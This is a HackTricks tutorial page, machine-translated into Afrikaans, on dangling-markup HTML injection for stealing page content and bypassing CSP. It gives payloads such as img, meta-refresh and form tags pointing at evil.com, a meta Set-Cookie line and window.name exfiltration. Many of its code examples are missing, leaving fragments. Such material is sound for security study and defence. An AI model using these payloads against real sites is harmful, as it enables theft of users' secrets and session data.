Dangling Markup - HTML scriptless injection
Last updated
Last updated
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Hierdie tegniek kan gebruik word om inligting van 'n gebruiker te onttrek wanneer 'n HTML-inspuiting gevind word. Dit is baie nuttig as jy nie 'n manier vind om 'n XSS te benut nie, maar jy kan 'n paar HTML-tags inspuit. Dit is ook nuttig as 'n geheim in duidelike teks gestoor is in die HTML en jy wil dit uitvoer van die kliënt, of as jy 'n paar skripuitvoerings wil mislei.
Verskeie tegnieke wat hier bespreek word, kan gebruik word om 'n paar Content Security Policy te omseil deur inligting op onverwagte maniere te onttrek (html-tags, CSS, http-meta-tags, vorms, basis...).
As jy <img src='http://evil.com/log.cgi?
inspuit wanneer die bladsy gelaai word, sal die slagoffer al die kode tussen die ingespuite img
-tag en die volgende aanhaling binne die kode na jou stuur. As 'n geheim op een of ander manier in daardie stuk geleë is, sal jy dit steel (jy kan dieselfde ding doen met 'n dubbele aanhaling, kyk watter meer interessant kan wees om te gebruik).
As die img
-tag verbied is (weens CSP byvoorbeeld) kan jy ook <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
gebruik.
Let wel dat Chrome HTTP-URL's met "<" of "\n" daarin blokkeer, so jy kan ander protokol skemas soos "ftp" probeer.
Jy kan ook CSS @import
misbruik (sal al die kode stuur totdat dit 'n ";" vind)
U kan ook <table
: gebruik.
U kan ook 'n <base
etiket invoeg. Alle inligting sal gestuur word totdat die aanhaling gesluit is, maar dit vereis 'n bietjie gebruikersinteraksie (die gebruiker moet op 'n skakel klik, omdat die basisetiket die domein wat deur die skakel aangedui word, sal verander):
Dan sal die vorms wat data na die pad stuur (soos <form action='update_profile.php'>
) die data na die kwaadwillige domein stuur.
Stel 'n vormkop in: <form action='http://evil.com/log_steal'>
dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word.
Die knoppie kan die URL verander waarheen die inligting van die vorm gestuur gaan word met die attribuut "formaction":
'n Aanvaller kan dit gebruik om die inligting te steel.
Vind 'n voorbeeld van hierdie aanval in hierdie skrywe.
Deur die nuutgenoemde tegniek te gebruik om vorms te steel (die invoeg van 'n nuwe vormkop) kan jy dan 'n nuwe invoerveld invoeg:
en hierdie invoerveld sal al die inhoud tussen sy dubbele aanhalingstekens en die volgende dubbele aanhalingsteken in die HTML bevat. Hierdie aanval meng die "Stealing clear text secrets" met "Stealing forms2".
Jy kan dieselfde doen deur 'n vorm en 'n <option>
etiket in te spuit. Al die data totdat 'n geslote </option>
gevind word, sal gestuur word:
Jy kan die pad van 'n vorm verander en nuwe waardes invoeg sodat 'n onverwagte aksie uitgevoer sal word:
<noscript></noscript>
Is 'n etiket waarvan die inhoud geïnterpreteer sal word as die blaaskas nie javascript ondersteun nie (jy kan Javascript in Chrome in chrome://settings/content/javascript aktiveer/deaktiveer).
'n Manier om die inhoud van die webblad van die punt van inspuiting na die bodem na 'n aanvaller-beheerde webwerf te ekfiltreer, sal wees om dit in te spuit:
Uit hierdie portswiggers navorsing kan jy leer dat selfs uit die meest CSP-beperkte omgewings jy steeds data kan eksfiltreer met 'n bietjie gebruikersinteraksie. In hierdie geval gaan ons die payload gebruik:
Let daarop dat jy die slagoffer sal vra om op 'n skakel te klik wat hom na payload wat deur jou beheer word, sal herlei. Let ook daarop dat die target
attribuut binne die base
tag HTML-inhoud sal bevat tot die volgende enkele aanhaling.
Dit sal maak dat die waarde van window.name
as die skakel geklik word, al daardie HTML-inhoud gaan wees. Daarom, aangesien jy die bladsy beheer waar die slagoffer toegang verkry deur op die skakel te klik, kan jy daardie window.name
toegang en daardie data exfiltreer:
Voeg 'n nuwe etiket met 'n id binne die HTML in wat die volgende een sal oorskryf en met 'n waarde wat die vloei van 'n skrip sal beïnvloed. In hierdie voorbeeld kies jy met wie 'n inligting gedeel gaan word:
Skep veranderlikes binne javascript naamruimte deur HTML-tags in te voeg. Dan sal hierdie veranderlike die vloei van die aansoek beïnvloed:
As jy 'n JSONP-koppelvlak vind, kan jy dalk 'n arbitrêre funksie met arbitrêre data aanroep:
Of jy kan selfs probeer om 'n bietjie javascript uit te voer:
'n Kind dokument het die vermoë om die location
eienskap van sy ouer te sien en te wysig, selfs in kruis-oorsprong situasies. Dit stel die insluiting van 'n skrip binne 'n iframe in staat om die kliënt na 'n arbitrêre bladsy te herlei:
Dit kan gemitigeer word met iets soos: sandbox=' allow-scripts allow-top-navigation'
'n iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek deur die iframe naam attribuut. Dit is omdat jy 'n iframe kan skep wat homself iframe, wat die HTML-inspuiting misbruik wat maak dat die sensitiewe inligting binne die iframe naam attribuut verskyn en dan daardie naam vanaf die aanvanklike iframe kan toegang verkry en dit kan lek.
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Jy kan meta http-equiv
gebruik om verskeie aksies uit te voer soos om 'n koekie in te stel: <meta http-equiv="Set-Cookie" Content="SESSID=1">
of om 'n herleiding uit te voer (in 5s in hierdie geval): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Dit kan vermy word met 'n CSP rakende http-equiv ( Content-Security-Policy: default-src 'self';
, of Content-Security-Policy: http-equiv 'self';
)
Jy kan 'n baie interessante navorsing oor uitbuitbare kwesbaarhede van die <portal tag hier.
Op die oomblik van hierdie skrywe moet jy die portal tag op Chrome aktiveer in chrome://flags/#enable-portals
of dit sal nie werk nie.
Nie al die maniere om konnektiwiteit in HTML te lek sal nuttig wees vir Dangling Markup nie, maar soms kan dit help. Kyk hulle hier: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
Dit is 'n mengsel tussen dangling markup en XS-Leaks. Aan die een kant laat die kwesbaarheid toe om HTML (maar nie JS nie) in 'n bladsy van die dieselfde oorsprong as die een wat ons gaan aanval, in te voeg. Aan die ander kant sal ons nie die bladsy waar ons HTML kan invoeg, direk aanval nie, maar 'n ander bladsy.
XS-Search is georiënteerd om cross-origin inligting te exfiltreer deur side channel attacks te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, egter, sommige van die tegnieke misbruik die insluiting van HTML-tags (met en sonder JS-uitvoering), soos CSS Injection of Lazy Load Images.
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)